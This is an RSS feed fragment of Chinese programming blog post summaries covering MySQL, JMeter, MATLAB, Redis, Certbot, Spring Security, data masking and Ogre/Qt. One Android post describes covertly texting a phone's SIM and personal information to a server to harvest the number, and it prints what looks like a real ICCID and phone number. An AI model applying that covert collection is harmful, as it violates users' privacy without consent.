Value | +----------------------------+---------+ | Table_locks_immediate | 100 | | Table_locks_waited | 11 | +----------------------------+---------+ # 查看InnoDB_row_lock状态变量来分析系统上的行锁的争夺情况： mysql&amp;gt; show status like &#39;InnoDB_row_lock%&#39;; +-------------------------------+--------+ | Variable_name | Value | +-------------------------------+--------+ | Innodb_row_lock_current_waits | 0 | | Innodb_row_lock_time | 159372 | | Innodb_row_lock_time_avg | 39843 | | Innodb_row_lock_time_max | 51154 | | Innodb_row_lock_waits | 4 | +-------------------------------+--------+ 5 rows in set (0.</description>
    </item>
    <item>
      <title>数据库中操作表truncate和delete的区别</title>
      <link>https://bchobby.github.io/posts/079c39aed776f4f5eb35f6f9cacc2d96/</link>
      <pubDate>Thu, 20 Jul 2023 20:17:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/079c39aed776f4f5eb35f6f9cacc2d96/</guid>
      <description>truncate truncate后面不能加where条件&#xA;truncate操作后直接生效&#xA;truncate操作后，数据库表会恢复至初始状态&#xA;truncate操作后直接重构表，不能回滚&#xA;delete delete后面可以有where条件&#xA;delete操作后需要提交事务才能生效&#xA;delete只删除数据，不会改变表空间大小&#xA;delete操作后可进行回滚</description>
    </item>
    <item>
      <title>Jmeter压测后，如何查看压测结果</title>
      <link>https://bchobby.github.io/posts/42fe5d7b140d62192f81a4b0a73ebeb1/</link>
      <pubDate>Thu, 20 Jul 2023 19:11:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42fe5d7b140d62192f81a4b0a73ebeb1/</guid>
      <description>在 JMeter 中，查看 WebSocket 压测结果可以通过以下几种方式：&#xA;查看 Summary Report：&#xA;在压测运行完成后，选择 “View Results Tree”，然后选择 “Summary Report”，可以查看包括吞吐量、平均响应时间、最大响应时间等在内的概要结果。这些结果可以帮助你了解整体的性能情况。&#xA;查看 Aggregate Report：&#xA;选择 “View Results Tree”，然后选择 “Aggregate Report”，可以查看更详细的聚合报告。该报告将显示每个请求的详细统计数据，包括样本数、错误数、平均响应时间、最小和最大响应时间等。通过分析这些数据，可以更深入地了解各个请求的性能情况。&#xA;使用 Graphs 监视器：&#xA;JMeter 提供了多个内置的图表监视器，可用于实时监测压测过程中的指标，并绘制相应的图表。例如，可以使用 “Response Times Over Time” 监视器来查看响应时间的变化趋势，或使用 “Active Threads Over Time” 监视器来查看同时活动的线程数随时间的变化。&#xA;导出结果：&#xA;JMeter 允许将压测结果导出为文件，以便进行进一步的分析和处理。可以将结果导出为 CSV 格式或生成 HTML 报告。选择 “Save Table Data” 将结果保存为 CSV 文件，或者选择 “Save as HTML” 将结果保存为 HTML 报告。&#xA;以上方法可以帮助你查看 WebSocket 压测的结果。根据实际需求，你可以选择合适的方式来分析和解读结果，以评估性能并识别潜在的问题。同时，还可以根据需要添加其他的监听器和报告，以获取更全面的压测结果。</description>
    </item>
    <item>
      <title>MATLAB之编程基础</title>
      <link>https://bchobby.github.io/posts/29fb403adfafe11776a9dfd463ca15fe/</link>
      <pubDate>Thu, 20 Jul 2023 17:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29fb403adfafe11776a9dfd463ca15fe/</guid>
      <description>目录&#xA;1、变量&#xA;1.1命名规则&#xA;1.2变量类型&#xA;1.3特殊变量&#xA;1.4关键字&#xA;2、M文件的控制结构&#xA;2.1顺序结构&#xA;2.2 if-else-end分支结构&#xA;2.3switch-case结构&#xA;2.4try-catch结构&#xA;2.5循环结构&#xA;2.5.1 for循环&#xA;2.5.3 while循环&#xA;3.其他指令&#xA;3.1 return指令&#xA;3.2输入函数&#xA;3.2.1 input&#xA;3.2.2keyboard&#xA;3.2.3yesinput指令&#xA;3.3pause指令&#xA;3.4continue与break指令&#xA;3.4.1continue指令&#xA;3.4.2break指令&#xA;3.5error和warning指令&#xA;1、变量 1.1命名规则 在 MATLAB 中，变量不需要预先声明就可以进行赋值。变量的命名遵循以下规则： （1）变量名和函数名对字母的大小写敏感，因此 x 和 X 是两个不同的变量； （2）变量名必须以字母开头，其后可以是任意字母或下画线，但是不能有空格、中文或标点。 （3）不能使用MATLAB 的关键字作为变量名。避免使用函数名作为变量名。如果变量采用函数 名，则该函数失效，如设置变量名为“if”“end” 等。 （4）变量名最多可包含63 个字符，从第 64个字符开始之后的字符将被忽略。为了程序可读及维护 方便，变量名一般代表一定的含义。 1.2变量类型 （ 1 ）局部变量。 MATLAB 中的每一个函数都有自己的局部变量，这些变量存储在该函数独立的工作区中，与其他函数的变量及主工作区中的变量分开存储。当该函数调用结束后，这些变量随之被删除，不会保存在内存中。 （2）全局变量。全局变量在定义该变量的全部工作区中有效。当在一个工作区内改变该变量的值时， 该变量在其余工作区内的值也将改变。 通常全局变量的变量名用大写字母来表示，并在函数体的开头位置进行定义，其格式如下： 使用全局变量的目的是减少数据传递的次数。然而，使用全局变量有一定的风险，容易造成错误，这种错误源自全局变量的工作原理。 （3）永久变量。永久变量用 persistent 声明，只能在 M 文件函数中定义和使用，只允许声明它的函数存取。当声明它的函数退出时，MATLAB 不会从内存中清除它。例如，声明 a 为永久变量 1.3特殊变量 MATLAB的特殊变量 变量名表示含义ans系统默认的用作保存运算结果的变量名pi圆周率eps机器零阀值，MATLAB中的最小值inf表示无穷大NaN或nan表示不定数i或j虚数nargin函数的输入参数个数nargout函数的输出参数个数realmin可用的最小正实数realmax可用的最大正实数bitmax可用的最大正整数(以双精度格式存储)varargin可变的函数输入参数个数varargout可变的函数输出参数个数beep使计算机发出“嘟嘟”声音 1.</description>
    </item>
    <item>
      <title>Redis启动报错（Could not create server TCP listening socket *:6379: listen: 提供了一个无效的参数）已解决</title>
      <link>https://bchobby.github.io/posts/b6c5f18277dea15b950c0477f313a8d3/</link>
      <pubDate>Thu, 20 Jul 2023 17:33:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6c5f18277dea15b950c0477f313a8d3/</guid>
      <description> 今天早上开机启动redis，任意目录redis-server报错&#xA;重启电脑/杀死进程也无法解决，查阅资料最终解决，现将解决方法总结如下：&#xA;在redis根目录打开命令行窗口，输入命令redis-server.exe redis.windows.conf后，启动成功&#xA;难道任意目录启动，输入redis-server不对吗，之前一直是按照这个启动？欢迎指正！ </description>
    </item>
    <item>
      <title>Certbot免费证书生成</title>
      <link>https://bchobby.github.io/posts/6a1aa6225ee9ba58863da511a2a619ab/</link>
      <pubDate>Thu, 20 Jul 2023 16:47:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a1aa6225ee9ba58863da511a2a619ab/</guid>
      <description>Certbot免费证书生成 Certbot 是一个由 Let’s Encrypt 项目提供的免费、开源的证书颁发工具，用于自动获取和配置 SSL/TLS 证书。以下是使用 Certbot 生成免费证书的流程：&#xA;准备工作：&#xA;确保您拥有一个已经解析到您服务器的域名。确保您的服务器上安装了支持 Certbot 的操作系统（如 Ubuntu、Debian、CentOS 等）。 安装 Certbot：&#xA;对于 Ubuntu/Debian 系统，可以使用以下命令安装 Certbot：&#xA;sudo apt update sudo apt install certbot 对于 CentOS 系统，可以使用以下命令安装 Certbot：&#xA;sudo yum install certbot 生成证书：&#xA;运行以下命令以生成证书：&#xA;sudo certbot certonly --standalone -d example.com -d www.example.com 将 example.com 替换为您的域名。如果您还有其他子域名，也可以在命令中添加。&#xA;配置证书：&#xA;生成的证书文件将位于 /etc/letsencrypt/live/example.com/ 目录下（将 example.com 更换为您的域名）。您需要将生成的证书路径配置到您的 Web 服务器中，以启用 HTTPS 访问。具体配置步骤取决于您使用的 Web 服务器（如 Apache、Nginx）。 证书更新：&#xA;Let’s Encrypt 的证书有效期为 90 天，您需要定期更新证书以保持其有效性。Certbot 提供了自动更新证书的功能，可以使用以下命令进行设置：</description>
    </item>
    <item>
      <title>面试题15: Mysql 数据存储原理</title>
      <link>https://bchobby.github.io/posts/265d32a98bd079b9257b15e90658dce2/</link>
      <pubDate>Thu, 20 Jul 2023 13:30:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/265d32a98bd079b9257b15e90658dce2/</guid>
      <description>MySQL是一个关系型数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。MySQL是一种关系型数据库管理系统，关系数据库将数据保存在不同的表中，而不是将所有数据放入一个大仓库内，这使得速度增快，灵活性增强。&#xA;一：MySQL主要特性 MySQL的存储原理主要涉及到存储引擎、索引、事务处理、锁定机制等方面。&#xA;1. 存储引擎&#xA;MySQL的最大特色之一是其插件式的存储引擎架构，这种架构可以让用户选择最适合自己需求的存储引擎。常见的MySQL存储引擎有MyISAM、InnoDB、Memory等。&#xA;- MyISAM：MyISAM是MySQL的默认存储引擎（直到MySQL 5.5版本）。MyISAM非常适合于：1) 需要高速读取的系统 2) 只做插入操作，而不需要修改或删除操作的系统。&#xA;- InnoDB：InnoDB是一个可以提供有提交、回滚和崩溃恢复能力的事务安全（ACID兼容）的存储引擎。但是在InnoDB中读取操作（不是改变数据的查询）也会产生副本。因此，InnoDB适合处理大量的数据。&#xA;- Memory：所有的数据都在内存中，数据的处理速度快，但是安全性不高。如果数据库重启，所有的数据都会消失。&#xA;2.索引&#xA;为了提高查询效率，MySQL提供了索引机制。MySQL提供了主键索引、唯一索引、全文索引等多种索引，并且支持多列索引。索引是在存储引擎层实现的，所以不同的存储引擎可能会有不同的索引类型和实现。&#xA;3.事务处理&#xA;事务是一系列的数据操作语句，事务是一个不可分割的工作单位，只有所有的操作都成功，事务才算成功。如果一个操作失败，那么这个事务就会回滚到事务开始前的状态。&#xA;4.锁定机制&#xA;MySQL中的锁定机制可以确保在并发环境下数据的一致性。锁定机制包括共享锁（读锁）和排他锁（写锁），InnoDB存储引擎还支持行级锁和表级锁。&#xA;二：MySQL的存储原理 Mysql的数据库存储原理主要有以下几点:&#xA;1. 数据存储在磁盘上。Mysql数据库系统将数据存储在磁盘文件中,这些文件又分为以下几类:&#xA;- 数据库目录文件(.frm文件):存储表结构信息。&#xA;- 数据文件(.MYD文件):存储表中的实际数据。&#xA;- 索引文件(.MYI文件):存储表的索引。&#xA;2. 数据以页为单位存储。Mysql数据库以页(Page)为单位将数据存储在数据文件中,默认的页大小是16KB。&#xA;3. 数据在磁盘上以表空间的形式组织。表空间是由一个或多个数据文件组成的逻辑存储单元,每个表空间存储一系列的表。&#xA;4. 每个存储引擎有自己的存储机制。不同的存储引擎有不同的数据存储和索引实现机制,如InnoDB使用聚集索引、MyISAM使用非聚集索引。&#xA;5. 使用缓冲池缓存经常访问的数据。缓冲池缓存磁盘上的数据页,使之留在内存中,提高访问速度。&#xA;6. 使用渐进式写入技术。Mysql不会立即将缓存中的脏页刷新到磁盘,而是按需周期性地刷新。&#xA;7. 使用检查点技术保证数据的完整性。检查点机制会在主数据文件更新时,同时更新日志文件或重做日志,以便在系统故障时使用日志恢复数据。&#xA;最后：下方这份完整的软件测试视频教程已经整理上传完成，需要的朋友们可以自行领取【保证100%免费】&#xA;​&#xA;软件测试面试文档 我们学习必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有字节大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。&#xA;​</description>
    </item>
    <item>
      <title>C语言 分支与循环经典例题（适用初学者）</title>
      <link>https://bchobby.github.io/posts/976bbcfa64d14811cbfba5e7c7052723/</link>
      <pubDate>Thu, 20 Jul 2023 13:28:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/976bbcfa64d14811cbfba5e7c7052723/</guid>
      <description>C语言 分支与循环经典例题（致力于初学者的理解与巩固） 1.计算n的阶乘2.计算 1!+2!+3!+……+10!3.在一个有序数组中查找具体的某个数字n的下标。（二分查找）4.猜数字小游戏设计思路菜单game（）的设计完整代码 1.计算n的阶乘 首先我们看到这个题目，从数学的角度分析&#xA;例如：5！=1×2×3×4×5=120&#xA;会出现1到5这5个顺序数字，故我们不可避免的想到循环&#xA;故&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { //n的阶乘 int i, n; scanf(&#34;%d&#34;, &amp;amp;n); int ret = 1;//ret是阶乘的最终得数，因为1×任何数=任何数 for (i = 1; i &amp;lt;= n; i++) { ret = ret * i; } printf(&#34;%d的阶乘为：%d&#34;,n , ret); return 0; } 2.计算 1!+2!+3!+……+10! 拿下刚刚的开胃小菜后，再来看这题&#xA;是阶乘的相加&#xA;我们已经会算n的阶乘&#xA;那如何计算有顺序阶乘的相加呢&#xA;上题中的n是几就可以计算谁的阶乘&#xA;则我们可以在嵌套一个循环，n当循环变量&#xA;int main() { int i, n; int sum = 0; int ret = 1; for (n = 1; n &amp;lt;= 5; n++) { for (i = 1; i &amp;lt;= n; i++) { ret = ret * i; } sum = sum + ret;//for循环嵌套中要注意表达式的位置噢，万万不可搞错循环体 } printf(&#34;</description>
    </item>
    <item>
      <title>科研神器 | 人工智能AI网站汇总大全（持续更新中）</title>
      <link>https://bchobby.github.io/posts/1ceb104f0ffb6ec93b833571420088aa/</link>
      <pubDate>Thu, 20 Jul 2023 12:57:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ceb104f0ffb6ec93b833571420088aa/</guid>
      <description> 🍀🍀近期，各类出色的人工智能技术及网站层出不穷，给大家带来了十分惊艳且便捷的学习和生活体验，小海带本期收集整理了一批当下热门主流的人工智能AI网站供大家学习参考。 整理不易，小伙伴们记得一键三连喔！！！🎈🎈🤞🤞 一、聊天AI 1.ChatGPT ChatGPT是OpenAI开发的一种基于语言模型的聊天人工智能系统。它是由大规模预训练的神经网络组成，可以理解和生成自然语言文本。ChatGPT是通过在海量的互联网文本数据上进行自监督学习而训练的。它可以用于回答问题、提供解释、生成对话等多种任务。用户可以向ChatGPT提出问题或提供上下文，然后它将生成相应的回复。 ChatGPT官网 2023年7月最新ChatGPT注册教程（国内可用，含接码手机号推荐） 2.文心一言 文心一言是百度打造出来的人工智能大语言模型，具备跨模态、跨语言的深度语义理解与生成能力，文心一言有五大能力，文学创作、商业文案创作、数理逻辑推算、中文理解、多模态生成，其在搜索问答、内容创作生成、智能办公等众多领域都有更广阔的想象空间。 文心一言——知识增强大语言模型 3.Anthropic Anthropic 是一家人工智能安全和研究公司，愿景是构建可靠的（Reliable）、可解释的（ Interpretable）和可操控的（Steerable）AI 系统。Anthropic是一家由 OpenAI 前员工共同创立的 AI 初创公司，它已悄然开始测试一款名为 Claude 的新的类似于 ChatGPT 的 AI 助手。 AI research and products that put safety at the frontier 二、绘画AI 1.Midjourney Midjourney是一个由Midjourney研究实验室开发的人工智能程序，是2022年3月面世的AI绘画工具，创始人是David Holz。具体可实现以下功能： 人像卡通化：将人物照片转换成有趣的卡通形象。 轮廓生成：可以根据输入的文字描述生成对应的图像轮廓。 色彩生成：利用GAN模型，可以生成具有艺术感和创意的彩色图像。 视频换脸：可以实现对视频中人物的面部进行换脸操作。 视觉问答：通过图像识别和自然语言处理技术，可以实现对图像的问题回答。 人脸合成：可以将不同人物的面部特征进行合成，生成新的面孔。 Midjourney 2.Stable Diffusion Stable Diffusion是 Stability AI 公司开源的 AI 文生图扩散模型。它主要用于根据文本的描述产生详细图像，尽管它也可以应用于其他任务，如内补绘制、外补绘制，以及在提示词（英语）指导下产生图生图的翻译。 Stable Diffusion 3.文心一格 文心一格是基于文心大模型的文生图系统实现的产品化创新。2022年8月19日，中国图象图形大会CCIG 2022在成都召开，正式发布AI艺术和创意辅助平台——文心·一格，这是百度依托飞桨、文心大模型的技术创新推出的“AI作画”首款产品。 文心一格 📚🐱‍🏍持续更新中...... ✨✨&amp;gt;&amp;gt;&amp;gt;学习交流 | 温澜潮生 | 合作共赢 | 共同进步&amp;lt;&amp;lt;&amp;lt;✨✨ 📚📚&amp;gt;&amp;gt;&amp;gt;人工智能 | 计算机视觉 | 深度学习Tricks | 第一时间送达&amp;lt;&amp;lt;&amp;lt;📚📚 </description>
    </item>
    <item>
      <title>手机号码获取随记</title>
      <link>https://bchobby.github.io/posts/09ab5a405cfb127ee0e364b738c6d10c/</link>
      <pubDate>Thu, 20 Jul 2023 11:29:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09ab5a405cfb127ee0e364b738c6d10c/</guid>
      <description>1.移动 短信发送cxll 到10086 然后截取短信内容去获取号码（目前有些号码是没有写在sim卡的信息里，所以只能这种方式去获取）&#xA;2.联通 (目前有些号码是没有写在sim卡的信息里，所以只能这种方式去获取）&#xA;SubscriptionManager.from(context).getActiveSubscriptionInfoList()里面的mNum&#xA;{id=3 iccId=89860122801168872054 simSlotIndex=1 carrierId=1436 displayName=中国联通 carrierName=中国联通 nameSource=3 iconTint=-13408298 number=+8618565627700 dataRoaming=0 iconBitmap=android.graphics.Bitmap@170243b mcc=460 mnc=01 countryIso=cn isEmbedded=false nativeAccessRules=null cardString=89860122801168872054 cardId=2 isOpportunistic=false groupUUID=null isGroupDisabled=false profileClass=-1 ehplmns=[46001] hplmns=[46001, 46009, 46001, 46009] subscriptionType=0 groupOwner=null carrierConfigAccessRules=null areUiccApplicationsEnabled=true}&#xA;3.电信&#xA;暂时没有找到方法去获取此类信息，短信等都没有暴露出本机号码&#xA;无感获取号码目前这些，当然非要当流氓，那么简单方法就是自己填号码加验证码&#xA;流氓无感就是将手机信息和卡信息等个人信息发短信过去，通过服务器接口读取来短信号码和个人信息进行绑定&#xA;默认拨号两个方法 使用Intent里自带的方法&#xA;Intent intent = new Intent(Intent.ACTION_CALL); Uri data = Uri.parse(&#34;tel:&#34; + phoneNum); intent.setData(data); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); intent.putExtra(&#34;com.android.phone.extra.slot&#34;, slotId);//slot值为0或1，分别代表卡1，卡2 startActivity(intent); 有系统权限的前提下，拨号前首先设置默认拨号SIM卡，通过反射的方式去执行&#xA;反射设置默认拨号sim卡方法：&#xA;private void setDefaultVoiceCallId(int slotId) { try { if(mLastUserSetCallDefault!</description>
    </item>
    <item>
      <title>Spring Boot 集成权限管理Spring Security框架</title>
      <link>https://bchobby.github.io/posts/89e190963eee426104fb70de9931ce03/</link>
      <pubDate>Thu, 20 Jul 2023 10:42:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e190963eee426104fb70de9931ce03/</guid>
      <description>在本文中，我们将讨论如何在Spring Boot项目中集成权限管理。我们将使用Spring Security框架，这是一个专门用于实现安全性功能的框架，包括认证和授权。&#xA;一、Spring Security简介 Spring Security是Spring项目的一部分，专门为Java应用程序提供全面的安全服务。它可以帮助开发者实现各种安全需求，如身份验证、角色和权限管理、会话管理等。&#xA;Spring Security提供了一种强大的和可高度自定义的权限管理方式，开发者可以根据业务需求定制权限规则，实现精细化的权限控制。&#xA;二、Spring Boot中集成Spring Security Spring Boot为Spring Security提供了自动配置，只需要在项目中添加Spring Security依赖，即可自动启用基于表单的登录和HTTP Basic方式的安全验证。&#xA;为了在Spring Boot项目中使用Spring Security，首先需要在pom.xml文件中添加下面的依赖：&#xA;xml复制代码&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-security&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 添加了这个依赖后，Spring Boot会自动配置Spring Security。默认情况下，所有的URL都需要被认证，并且会自动配置一个用户，用户名为&#34;user&#34;，密码在应用启动时在控制台打印。&#xA;这只是最基本的配置，对于大多数应用来说，需要更加复杂的安全需求，比如基于角色的访问控制，这就需要自定义Spring Security的配置。&#xA;三、自定义Spring Security配置 要自定义Spring Security配置，需要创建一个配置类，该类需要继承WebSecurityConfigurerAdapter类，并覆盖其中的方法。例如，可以重写configure(HttpSecurity http)方法，自定义安全策略。&#xA;以下是一个基本的配置示例：&#xA;java复制代码@Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers(&#34;/admin/**&#34;).hasRole(&#34;ADMIN&#34;) .anyRequest().authenticated() .and() .formLogin() .loginPage(&#34;/login&#34;) .permitAll() .and() .logout() .permitAll(); } } 在此配置中，我们定义了以下规则：&#xA;所有以&#34;/admin/&#34;开头的URL都要求用户拥有&#34;ADMIN&#34;角色。所有其他的URL都需要用户被认证。提供一个&#34;/login&#34;页面用于用户登录。允许所有用户访问登录和注销。 这只是一个基本的示例，Spring Security提供了更多的配置选项，可以满足各种复杂的安全需求。&#xA;四、用户认证和角色管理 在上面的示例中，我们定义了一些基于角色的访问控制规则，但是我们还没有说明如何进行用户认证和角色管理。这就需要我们自定义一个UserDetailsService接口的实现。</description>
    </item>
    <item>
      <title>Jmeter导出Html好看的性能测试报告</title>
      <link>https://bchobby.github.io/posts/dcc5b4c8ab6add26ff7db1aec5fa838c/</link>
      <pubDate>Thu, 20 Jul 2023 10:31:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcc5b4c8ab6add26ff7db1aec5fa838c/</guid>
      <description>第一步：在页面创建一个文件夹，存放性能测试产生的数据。文件名jmeterresult 文件夹需要是空的。 第二步：在结果树中，文件名属性，填写刚刚创建的文件夹路径，后面加上一个result.csv 文件用来储存生成的数据。&#xA;第三步：点击tools 工具栏里面的 html_report 第四步：第一个参数：配置导出报告的数据来源。 第二个参数点击浏览，选择 jmeter.properties 即可 第三个参数填写报告输出的路径。&#xA;第五步点击：配置完毕，点击按钮 &#34;Generate Report”&#xA;第六步：在输出的文件夹中点击 ，index.html即可 以下是操作图片展示：</description>
    </item>
    <item>
      <title>一行注解搞定数据脱敏！！</title>
      <link>https://bchobby.github.io/posts/acf190d17958a87579b74b2df4eccb5b/</link>
      <pubDate>Thu, 20 Jul 2023 10:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acf190d17958a87579b74b2df4eccb5b/</guid>
      <description>本文主要分享什么是数据脱敏，如何优雅的在项目中运用一个注解实现数据脱敏，为项目进行赋能。希望能给你们带来帮助。&#xA;什么是数据脱敏 数据脱敏是一种通过去除或替换敏感数据中的部分信息，以保护数据隐私和安全的技术。其主要目的是确保数据仍然可以在各种场景中使用，同时保护敏感信息，防止数据泄露和滥用。数据脱敏通常用于处理包含个人身份信息和其他敏感信息的数据集，如手机号、姓名、地址、银行卡、身份证号、车牌号等等。&#xA;在数据脱敏过程中，通常会采用不同的算法和技术，以根据不同的需求和场景对数据进行处理。例如，对于身份证号码，可以使用掩码算法（masking）将前几位数字保留，其他位用“X”或&#34;*&#34;代替；对于姓名，可以使用伪造（pseudonymization）算法，将真实姓名替换成随机生成的假名。&#xA;下面我讲为大家带来数据脱敏掩码操作，让我们一起学起来吧。&#xA;开胃菜 下面给大家介绍的是使用两种不同的工具类进行数据脱敏，而我们今天的主题使用一个注解解决数据脱敏问题的主要两个工具类。来跟着我学习吧。&#xA;使用 Hutool 工具类实现数据掩码 比喻说我们现在要对手机号进行数据脱敏，前三后四不掩码，其他全部用 * 进行掩码&#xA;如下图代码所示，&#xA;我们定义了一个手机号：17677772345，需要进行数据脱敏。&#xA;调用的 Hutool 的信息脱敏工具类。&#xA;我们运行一下看看结果。一个简单的数据脱敏就实现了。&#xA;Hutool 信息脱敏工具类 根据上面的一个 Demo，大家可以看到我使用了 Hutool 的信息脱敏工具类进行对手机号掩码脱敏。那么让我们一起看看 Hutool 信息脱敏的工具类吧。&#xA;官网文档：&#xA;https://hutool.cn/docs/#/core/工具类/信息脱敏工具-DesensitizedUtil&#xA;看一下官网的介绍，支持多种脱敏数据类型，满足我们大部分需求，如果需要自定义还提供了自定义的方法实现。&#xA;下面是里面定义号的脱敏规则，直接调用就可以实现简单的数据脱敏，这里给大家介绍是因为我们今天要给大家带来的注解实现数据脱敏核心就是利用我们的 Hutool 提供的工具类实现，支持自定义隐藏。&#xA;使用 Jackson 进行数据序列化脱敏 首先创建一个实体类，此实体类只有一个测试的手机号。&#xA;注解的讲解：&#xA;@Data：lombok 的注解生成 get,set 等等方法。@JsonSerialize(using = TestJacksonSerialize.class)：该注解的作用就是可自定义序列化，可以用在注解上，方法上，字段上，类上，运行时生效等等，根据提供的序列化类里面的重写方法实现自定义序列化。可以看下下面的源码，有兴趣的朋友可以去了解一下，也能解决我们日常开发中很多场景。 @Data public class TestDTO implements Serializable { /** * 手机号 */ @JsonSerialize(using = TestJacksonSerialize.class) private String phone; } 然后创建一个 TestJacksonSerialize 类实现自定义序列化。&#xA;此类主要继承 JsonSerializer，因为我们这里需要序列化的类型是 String 泛型就选择 String。注意如果你使用此注解作用在类上的话，这里就是你要序列化的类。</description>
    </item>
    <item>
      <title>工作流引擎Flowable</title>
      <link>https://bchobby.github.io/posts/1078763a22e023613bf1206769a9bc58/</link>
      <pubDate>Thu, 20 Jul 2023 09:26:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1078763a22e023613bf1206769a9bc58/</guid>
      <description>这里写目录标题 1.Flowable基础1.1 入门学习 2.流程图设计器2.1 FlowableUI2.2 绘制流程图 3.Flowable高级3.2 启动流程3.3 处理流程3.4 流程结束3.5 任务分配3.5.1 表达式分配3.5.2 监听器分配 3.6 流程变量3.6.1 实例关系3.6.2 出差流程图3.6.3 案例 3.7 候选人3.7.1 流程定义和部署3.7.2 候选任务查询3.7.3 拾取、归还、交接等操作 3.8 候选人组3.8.1 将用户分配给对应的组3.8.2 部署和运行3.8.3 任务查询拾取处理 3.9 网关3.9.1 排他网关3.9.2 并行网关3.9.3 包容网关3.9.4 1.Flowable基础 官方手册&#xA;1.1 入门学习 一、依赖&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.flowable&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;flowable-engine&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;6.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.21&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.13.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.21&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-log4j12&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.21&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 二、demo&#xA;@Test public void testProcessEngine() { // 获取config对象 ProcessEngineConfiguration config = new StandaloneProcessEngineConfiguration(); // 设置数据库连接 config.</description>
    </item>
    <item>
      <title>Ogre 13.x&#43;Qt5-例子整理</title>
      <link>https://bchobby.github.io/posts/d0e5a7389612e7600ab58d00e601c043/</link>
      <pubDate>Thu, 20 Jul 2023 00:02:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0e5a7389612e7600ab58d00e601c043/</guid>
      <description>最新的Ogre13.x使用OgreBites::ApplicationContextQt 整合Qt5，不过他的example很少，例子都在他的实现代码中而且现在的Ogre版本都是推QWindow而不是QWidget，因为Qt5以后实现比Qt4差别很大，其实他的例子也是得到QWindow的windows 句柄，由于Ogre是在DX和OpenGL之上做了一层，有很多自己设计的脚本和材质，文档很少比较折腾，包装层次多需要摸索，一些图形行业业务功能性能要求高点的要对代码摸索的比较多才能深度改，这都增加了不少难度但是不错的3D学习资料，国内比起OSG生态来说相对较弱。&#xA;下面的例子作为笔记备份，Qt是Qt5.14.2，Ogre13.6.5 官方的MSVCSDK ，VC2019下面vc2017也就是v141 toolset，需要先系统环境变量配置 OGRE_CONFIG_DIR，即sdk解压后bin那个完整路径，bin里面有plugins.cfg放的有一些插件，一般开始运行会弹出一个配置对话框，去选Dx还是OpenGL，全屏还是非全屏，初始窗口尺寸等，然后确定，就会生成一个Ogre.cfg现在的Ogre13.x不知道怎么回事生成的ogre.cfg在c盘的用户哪个犄角嗄啦目录下，我是看代码发现它写在那的，再次他会去读这个Ogre.cfg其实也能代码去设置。&#xA;下面的demo是创建了个QWindow然后作为Ogre的ApplicationContextQt的渲染窗口，调setup中的创建sceneManager，light，camera，然后设置为QMainWindow的centerWidget的，然后主要是创建了一个Ortho的camera，在resize时候调整，用ManualObject绘制点线或者三角形。&#xA;QtWidgetTest.h&#xA;#pragma once #include &amp;lt;QtWidgets/QMainWindow&amp;gt; #include &#34;ui_QtWidgetTest.h&#34; class QtWidgetTest : public QMainWindow { Q_OBJECT public: QtWidgetTest(QWidget *parent = Q_NULLPTR); private: Ui::QtWidgetTestClass ui; }; QtWidgetTest.cpp&#xA;#include &#34;QtWidgetTest.h&#34; #include &amp;lt;QKeyEvent&amp;gt; #include &amp;lt;QtGui/QWindow&amp;gt; #include &#34;OgreApplicationContextQt.h&#34; #include &#34;Ogre.h&#34; #include &#34;OgreInput.h&#34; #include &#34;OgreRTShaderSystem.h&#34; #include &#34;OgreCamera.h&#34; #include &amp;lt;iostream&amp;gt; using namespace Ogre; using namespace OgreBites; class MyAppQt : public OgreBites::ApplicationContextQt, public OgreBites::InputListener { public: Camera* cam; MyAppQt() {} virtual void windowResized(Ogre::RenderWindow* win) { 